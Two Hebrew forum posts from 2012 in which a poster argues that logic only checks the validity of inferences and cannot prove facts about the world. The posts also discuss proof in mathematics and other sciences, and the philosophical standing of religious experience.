ניסיתי להסביר שעד כמה שאני מבין ויודע, לוגיקה היא שיטת בדיקה של טיעונים, קשרים בין משפטים ומושגים. לא יותר.
לוגיקה יכולה לכן לפסול ולהוכיח על קיום סתירות, או להראות תקפות כלומר נביעה של משפט ממשפט (או מאוסף משפטים), או העדר תקפות.
לוגיקה לכן אינה יכולה לספק שום מידע על העולם. זה למעשה סוד עוצמתה.
לכן לוגיקה אינה מספקת הוכחות אלא רק מסייעת לגזור אותן (להסיק אותן) מהנחות יסוד שמגיעות ממקורות אחרים. (חויה, חוש, כלי מדידה, מעבדה, תכנים אבידנטיים=ברורים מעבר לכל ספק של התודעה ועוד. לדוגמא: בין שתי נקודות עובר רק קו ישר אחד. זו אקסיומה. כלומר הנחה. היא נתפסת אינטואיטיבית, ונחשבת לאבידנטית, אם כי בגיאומטריות אחרות, לא אוקלידיות, יש הנחות חליפיות. מצד שני, טוענים שגיאומטריות אחרות אינן ברורות ואבידנטיות ואולי כן? זה לא תחום ידע שלי).
כאשר אתה מבקש "הוכחה לוגית" אני יכול להבין בכך רק גזירה של מסקנות מטענות מוקדמות. אבל טענות אלו על מה הן מסתמכות?
אולי צריך קורס מבוא לפילוסופיה, לוגיקה ותורת ההכרה והאונטולוגיה, או שאני סתם מפזר מילים מפחידות?
הכוונה היא להסבר לא קצר שצריך לעמול כדי לעשותו פשוט וקל שיסביר את הנימוקים למה שכתבתי לעיל. וזה לא קשור לדת אלא לתחום שעדיין מכונה "פילוסופיה". נאמר: "ביקורת ההנחות והיכולת האנושית להכיר את המציאות ולחשוב עליה במשפטים מסודרים".
הוכחה מתמטית מוכרת לי. פירושו של דבר לבנות טיעון מסודר שבו מתוך הנחות ידועות מראש ניתן לגזור, לפי כללי הלוגיקה, מסקנות. הטיעונים הם תקפים. מציאת הוכחות ברמה מתמטית לכל המדעים הוא חלום ישן נושן אבל בלתי אפשרי של האדם. (ראה במבוא לעיל שלא הובא כאן... אבל הצגתיו כמדומה באשכולות אחרים. איני זוכר היכן).
הוכחות סטטיסטיות איני יודע מה הן. אפשר שהכוונה לטיעונים שהנחות היסוד שלהם נשענות על ממצאים שמחושבים סטטיסטית. אפשר שהכוונה לטיעונים שבהם ההסקים מתבססים על סבירות. איני מתמצא בתחום הזה.
כפי שכתבתי לך, במדעים אחרים (ויש) מקובלות דרכי הוכחה אחרות.
כולן לוגיות במובן זה שהן מכבדות את כללי ההיסק. נזהרות מסתירות. מנסות להציע תיאוריה מסודרת עם הנחות יסוד ומסקנות מחושבות לוגית.
זה קיים גם באותו תחום שבו אנו עוסקים, אם כי כאן יש הישענות רבה מאד על חויות פרטיות, על ניתוח פנומנולוגי, על הנחות יסוד (מובלעות אבל צריך להשגיח בהן).
כל זה לא מצא חן בעיניך. אם כי לא הבנתי על מה אתה מבסס את הביקורת שלך. שהרי אפשר להאחז בנקודות ביקורת רבות, ולכל אחד מהן יש מחיר שנובע מן השימוש בכללי הלוגיקה (למשל, עמדה ספקנית עלולה לסבך את בעליה בסתירות).
אז אולי נניח בינתים לאשכול הזה, ונפתח אשכול חדש "על אמנות ההוכחה" ובו תדגים את תפיסתו של אלי, כלומר שלך, מהי הוכחה, עם דוגמאות, עם כללים. ואחרי שאלמד את הנושא כפי שאתה מציג אותו, אוכל לנסות שוב להציג את עמדתי. עד אז זה כנראה יהיה בזבוז זמן שלך, שלי ושל כל מי שיתעניין.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-26/6/2012 16:17 |
|
| |
אולי עוד כמה נקודות שראיתי בתשובתך.
לגבי דתות אחרות וחויותיהן: כתבתי לך שהבעיה אינה עם התוכן אלא עם הפרשנות. כל חויה זקוקה לבדיקה פילוסופית. החויה היהודית שורדת כזו ביקורת. (אתה יודע שלא עסקנו כלל בשאלה מה כוללת ביקורת זו ואיך היהדות שורדת אותה. על זה משום לא שאלת. לא הבנתי ששאלת. אתה מוזמן להציג מסקנה שאני מסיק מן החויה נוסח הרב סולוביצ'יק שלדעתך אינה עוברת ביקורת פילוסופית. וכמובן צריך להסביר מהי ביקורת פילוסופית...).
אפשר "להרגיש קבלה" אם כי איני יודע למה הכוונה במילים אלו, אבל חויה פתוחה עקרונית לכל תוכן, לכאורה. אבל הטענות של הקבלה (אם יש דבר אחדותי כזה) היסטורית, פילוסופית, הן בעייתיות לדעתי. אני מוכן תמיד לדון בכך, אבל יש על זה אשכולות.
הנושא של "טיעון מעגלי" ראוי לדיון רחב. זה תחום שמיכי מתמצא בו הרבה יותר, אבל אעיר שכל הוכחה לוגית היא למעשה טיעון מעגלי, אלא שזה סמוי מן העין. זאת בגלל מה שהלוגיקה עושה (ולא עושה).
הזכרת חויה שלא ידוע מקורה.
החויות שאני מדבר עליהן ידוע מהיכן הן באות. מבחינת ה"חומרה" שלהן הן יכולות לנבוע מהפעלת מנגנונים מוחיים מהסוג שהפנית אליהם ב"קסדת האלוהים" (ראיתי רק מלמעלה את הכותרות. לא היה לי זמן, אבל שמרתי את הלינק. מעניין מאד). מבחינת הסיבה הראשונה שלהן אני אפרש שהן באות מאלוקים. כמובן זה בדיוק מה שאפשר לערער עליו. כפי שכתבת בעצמך. אבל אולי זה מה שיש?
המלצה
זה שאיני מסוגל לספק לך את מה שאתה חפץ בו זה ממש לא נורא. אולי זה בא ללמד אותך להישען על בינתך שלך?
מבחינתי, אני תוהה אם אתה יכול להציג ניסוח עקבי ו"לוגי" של מה שאתה מבקש. אשמח לקרוא ולשאול שאלות מבהירות. תהיה אתה המסבירן ואני אהיה התובע בשם הלוגיקה. זה יכול להיות משחק נחמד ומאלף. ואין כוונתי לתעתע אלא לנסות להצביע על אי הבנות או אי הסכמות יסודיות שאיני מצליח להעביר באופן אחר.
***
מאיזו התמודדות ברחתי מזה שנתיים? זה בהחלט יתכן, אם כי זה לא נובע מבריחה אלא מחוסר זמן... אבל איני יודע לאיזו מן הבריחות" שלי אתה מתכוון. יש לי אוסף של קבצים כתובים למחצה במחשב, כולם מחכים לימות המשיח, כאשר ישב כל איש תחת גפנו ותחת תאנתו עם מחשבו הנייד ויכתוב ויכתוב...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
